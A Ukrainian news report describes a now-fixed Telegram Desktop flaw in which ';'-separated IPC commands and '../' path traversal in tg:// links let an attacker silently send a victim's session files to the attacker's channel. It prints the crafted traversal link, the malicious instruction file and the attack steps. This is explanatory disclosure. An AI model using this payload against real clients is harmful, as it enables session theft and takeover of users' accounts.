Розкрито подробиці та метод експлуатації вразливості (CVE-2026-107181) у Telegram Desktop, офіційному клієнті Telegram для настільних систем. Проблема викликана відсутністю належної обробки неекранованих символів-розділювачів у командах IPC, що дозволяло при натисканні на відправлене посилання організувати передачу атакуючому будь-яких файлів із системи жертви, включаючи файли із сесійними ключами, які можна використовувати для захоплення облікового запису Telegram. Уразливість усунена у випуску Telegram Desktop 7.2.9.
При натисканні на посиланнях «tg://» операційна система запускає пов'язану з цим типом посилань програму Telegram Desktop. Якщо в системі вже запущено інший екземпляр цієї програми, то запущений процес передає йому посилання через сокет за допомогою IPC-інтерфейсу. Проблема в тому, що якщо вказати символ ";" серед параметрів посилання (наприклад, «tg://x?a=1;OPEN…»), вміст поділяється і такі, що йдуть після символу «;» частини обробляються окремі команди.
Для атаки задіяна команда OPEN разом з URI-схемою «interpret:», призначеною для запуску службових сценаріїв через IPC, які використовувалися для автоматичного відправлення нових релізів у канали. Сценарій являє собою визначений локальний файл, в якому вказаний файл, що відправляється в канал, і ідентифікатор каналу. Файловий шлях до сценаріїв обробляється щодо службового підкаталогу, але через відсутність чищення «../» у файлових шляхах атакуючий може звернутися до файлів, збережених поза базового каталогу. Наприклад, можна завантажити файл у свою telegram-групу, після чого послатися на цей файл як на сценарій, підготувавши посилання типу:
tg://x?a=1;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions.txt
Етапи проведення атаки:
- Атакуючий додає жертву до своєї групи (при налаштуваннях за замовчуванням додавання не вимагає підтвердження від того, що додається) і відправляє до цієї групи текстовий файл, в якому вказано канал і шлях до сценарію. Telegram збереже цей файл у визначений системний підкаталог під час заходу жертви до групи.
channel: 2005234537
file: tdata/D877F783D5D3EF8Cs - Атакуючий надсилає жертві посилання, яке невинно виглядає на свій хост (наприклад, «https://coolsite.org»), яке при відкритті через перенаправлення на сервері атакуючого замінюється на URI виду 'tg://x?a=1;OPEN:interpret:…;OPEN:interpret:….
- При натисканні на посилання браузер викликає обробник URI «tg://», що запускає вищезазначений ланцюжок запуску команд, що призводить до відправлення файлів до каналу атакуючого без виведення будь-яких повідомлень і без запиту підтвердження відправки.
- Отримавши файли з підкаталогу tdata c ключами шифрування та авторизації, за відсутності виставленого користувачем локального пароля, атакуючий може клонувати сеанс підключення жертви на своєму пристрої.
Джерело: opennet.ru
